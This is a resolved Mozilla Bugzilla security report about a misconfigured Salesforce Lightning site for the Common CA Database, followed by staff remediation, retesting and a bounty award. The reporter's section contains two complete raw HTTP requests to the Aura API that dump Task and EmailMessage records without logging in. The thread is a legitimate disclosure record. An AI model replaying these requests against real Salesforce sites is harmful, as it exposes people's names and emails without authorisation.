Closed Bug 1818699 Opened 3 years ago Closed 3 years ago

Common CA Database confidential data disclosure due to misconfigured access controls at ccadb.my.salesforce-sites.com/ccadb

Categories

(CA Program :: Common CA Database, task)

Product:
CA Program
Component:
Common CA Database
Type:
task

Tracking

(Not tracked)

Status:
RESOLVED FIXED

People

(Reporter: krevetk0, Unassigned)

References

(
URL
)

Details

(Keywords: reporter-external, sec-moderate, wsec-disclosure, Whiteboard: [reporter-external] [web-bounty-form] [verif?])

[https://hackerone.com/reports/1884278 "The Mozilla team recommends that you submit this issue to their public program via https://bugzilla.mozilla.org/form.web.bounty"]

Summary:

Hello Mozila Security Team.

It was discovered an interesting behavior that is affecting confidential data at ccadb.my.salesforce-sites.com/ccadb
Or https://ccadb.my.salesforce-sites.com/mozilla/ProblemReportingMechanismsReport
As far as I understand it's a Common CA Database owned by Mozilla (https://www.ccadb.org/)

And I also found the message "This login page is for Root Store Operator Members of the CCADB." on the page https://ccadb.my.salesforce.com/?ec=302&startURL=%2F00Q1J00000fF1c5
{F2192520}

All in all, it's possible to exfiltrate confidential data from that portal.

Steps To Reproduce:

Web application at https://ccadb.my.salesforce-sites.com/ccadb/ is built using Salesforce Lightning. Salesforce Lightning is a CRM for developing web applications providing a number of abstractions to simplify the development of data-driven applications. In particular, the Aura framework enables developers to build applications using reusable components exposing an API in order for the components to interact with the application.
During testing it was discovered that the Salesforce Lightning instance has loose permissions for unauthenticated Guest users.
Therefore, a malicious attacker may be able to extract sensitive information belonging to other users of the application. To do this, an unauthenticated attacker may craft a HTTP request directly to the Aura API at https://ccadb.my.salesforce-sites.com/ccadb, using built-in controller methods normally used by the Salesforce Lightning components.

I was able to find such system objects accessible for me.

Task
EmailMessage

Btw it might be helpful in the mitigation process.
System user of that service is - "Email":"kwilson@mozilla.com",

  1. That's how you can exfiltrate data from the Task object
    You can use my raw burpsuite request.
POST /ccadb/aura?r=3&ui-comm-runtime-components-aura-components-siteforce-network-tracking.NetworkTracking.createLogRecord=1 HTTP/1.1
Host: ccadb.my.salesforce-sites.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://aaroncostello-developer-edition.eu45.force.com/s/
X-Sfdc-Page-Scope-Id: 72e8e289-0853-446f-9245-c60bab493e33
X-Sfdc-Request-Id: 3910000000884a1999
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 719
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"Task","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}}]}&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22GVQSDds1N8x8l9AfZLjrQg%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%22RFAZA9h23A72J8fesL7C8g%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F&aura.token=undefined

In the response we can see
{F2192530}
{F2192531}
{F2192532}

  1. That's how you can fetch all the data from the EmailMessage object
POST /ccadb/aura?r=3&ui-comm-runtime-components-aura-components-siteforce-network-tracking.NetworkTracking.createLogRecord=1 HTTP/1.1
Host: ccadb.my.salesforce-sites.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://aaroncostello-developer-edition.eu45.force.com/s/
X-Sfdc-Page-Scope-Id: 72e8e289-0853-446f-9245-c60bab493e33
X-Sfdc-Request-Id: 3910000000884a1999
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 727
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

message={"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"EmailMessage","layoutType":"FULL","pageSize":2000,"currentPage":0,"useTimeout":false,"getCount":true,"enableRowActions":false}}]}&aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22GVQSDds1N8x8l9AfZLjrQg%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%22RFAZA9h23A72J8fesL7C8g%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&aura.pageURI=%2Fs%2F&aura.token=undefined

In the response we can see confidential data
{F2192534}
{F2192535}

Supporting Material/References:

Enforce record level security (RLS) on the vulnerable object to ensure records are only able to be retrieved by the record owner, and privileged users of the application.
https://help.salesforce.com/s/articleView?language=en_US&id=security_data_access.htm&type=5

Impact

Exposed customers' registration data

Flags: sec-bounty?
Group: websites-security → mozilla-employee-confidential
Component: Other → Common CA Database
Product: Websites → CA Program
Group: mozilla-employee-confidential → infrasec

Hello Mozilla Security Team,
Btw I found where it's leaking.
https://www.ccadb.org/cas/request-access
search text -> " then submit this form "
And you can find that form
https://ccadb.my.salesforce-sites.com/ccadb/AccessRequestForm

Poonam, Would you please identify exactly what data is exposed?
Treat this bug as your top priority.

Please disable the email notifications for https://ccadb.my.salesforce-sites.com/ccadb/AccessRequestForm, because we're not depending on email notifications for processing these anymore.

Also note in the description:
Enforce record level security (RLS) on the vulnerable object to ensure records are only able to be retrieved by the record owner, and privileged users of the application.
https://help.salesforce.com/s/articleView?language=en_US&id=security_data_access.htm&type=5

Need to make sure that we're not unintentionally exposing information about CA representatives.

Thanks,
Kathleen

PS: I'm still OOO (sick), but please take the appropriate steps to address this bug.

Flags: needinfo?(poonam)

Hi Kathleen,

I am currently looking into this issue. Hope you feel better soon.

-Poonam

Flags: needinfo?(poonam)

Hi Kathleen,

I have performed several checks mentioned below:

  • CCADB public reports do not use Aura components or Lightning Components so the risks mentioned by the bug reporter is not possible.
  • Performed test using POSTMAN, similar to Burpsuite request and got 401 error (invalid authentication).
  • Sharing setting for Guest users are correct (permission are set as 'private' for the external users).

We tried adding Salesforce's 'Restriction rules' and removed 'System Permission - Access Activities' to hide Task and EmailMessage records from Guest users but it didn't work.

Finally I used ‘Guest Users Access Report’ an AppExchange app to find the venerabilities. The report flagged few potential risks like Lead records (15 records) and Task records (34 records) owned by guest users. The record owner has visibility to their own record. It also mentioned two permissions (below) for guest users which should be removed. I have opened a case to ask SF to help with it.

  • permissionsemailtemplatemanagement
  • permissionsemailadministration

I'll send an update as soon as the last step is completed.

Regards,
Poonam

So far no response from Salesforce.

Guest user records have been transferred to Kathleen's user.

Received a response from tech support. The suggested configuration changes are not visible to me as a system admin. I have sent my comments and also made a phone call. Salesforce will be assigning a SME and schedule a meeting.

Hello Poonam,

Thank you for looking into this.

Based on your comment 5, the risks we are trying to mitigate is the additional permissions that guest users have, are those additional permissions the reason why the reporter was able to extract data from the instance?

Thanks,
Frida

Flags: needinfo?(poonam)

(In reply to Frida K [:frida] from comment #8)

Hello Poonam,

Thank you for looking into this.

Based on your comment 5, the risks we are trying to mitigate is the additional permissions that guest users have, are those additional permissions the reason why the reporter was able to extract data from the instance?

Thanks,
Frida

Hi Frida,

We have a custom form which generates lead records in SF. The older version of this program created leads with site guest user as the record owner. There were 15 such lead records created in 2019 & 2020. This program also sents email(s) and auto generates Task and EmailMessage records in SF. These auto generated task records for emails were also owned by the site guest users.

To stop the access by the non authenticated uses, I have transferred the ownership of these records (Lead/Task/EmailMessage) the internal user (Kathleen). In addition, revoked the access of Tasks and Events from guest users. Two more permissions are remaining to be revoked (permissionsemailtemplatemanagement, permissionsemailadministration). Hopefully, the SF tech support will get back to me soon on my open ticket regarding these settings.

Let me know if you have further questions.

Regards,
Poonam

Flags: needinfo?(poonam)

Hello Poonam,

Thank you for the detailed description, this information helps a lot.

I just have one more question regarding the sensitivity of the leads and emails that were created by the guest users, do you think those contained any confidential information or personally identifiable information for the users?

Thanks,
Frida

(In reply to Frida K [:frida] from comment #10)

I just have one more question regarding the sensitivity of the leads and emails that were created by the guest users, do you think those contained any confidential information or personally identifiable information for the users?

Hi Frida,
All of the data that could have been exposed is provided by filling in this form:
https://ccadb.my.salesforce-sites.com/ccadb/AccessRequestForm
Note that the form does request "Name and email address of the employee who you are requesting the CCADB CA Community License for".

(In reply to Kathleen Wilson from comment #11)

(In reply to Frida K [:frida] from comment #10)

I just have one more question regarding the sensitivity of the leads and emails that were created by the guest users, do you think those contained any confidential information or personally identifiable information for the users?

Hi Frida,
All of the data that could have been exposed is provided by filling in this form:
https://ccadb.my.salesforce-sites.com/ccadb/AccessRequestForm
Note that the form does request "Name and email address of the employee who you are requesting the CCADB CA Community License for".

Kathleen has answered your question accurately.

Valeriy, Would you please confirm that the data that you were able to extract from https://ccadb.my.salesforce-sites.com/ccadb/ is no longer visible to you?

Hello Kathleen,
No unauth objects were discovered. Issue resolved.
Best regards,
Valeriy

Thanks everyone for your work on this, much appreciated.

I will resolve this bug as FIXED.

Thanks,
Frida

Status: UNCONFIRMED → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED

Hello Frida,
It was a pleasure to work with you. And it was a quick and smooth mitigation.
Does that report align with your bug bounty policy?
Best regards,
Valeriy

Hello Valeriy,

Common CA database is not explicitly listed in the eligible sites, so it falls under the category of "Other Sites" in our bounty table, https://www.mozilla.org/en-US/security/web-bug-bounty/.

We need to discuss and determine the severity of the issue and based on the severity, we determine the bounty amount to pay. Our bug bounty panel meets on a weekly basis, so we will let you know our decision within the next couple of weeks.

Thanks,
Frida

See Also: → 1660437
Flags: sec-bounty? → sec-bounty+
Keywords: sec-moderate, wsec-disclosure

Hello Valeriy,

Reports which are awarded in our program are also eligible for a hall of fame mention on our website, https://www.mozilla.org/en-US/security/bug-bounty/web-hall-of-fame/. Please let us know if and how you would like to be mentioned.

Thank you again for your help in reporting and retesting the issue.

Thanks,
Frida

Hello Frida,

I would like to have it as Valeriy Shevchenko (https://www.linkedin.com/in/valeriyshevchenko/)

Thanks in advance,
Valeriy

Group: infrasec
You need to log in before you can comment on or make changes to this bug.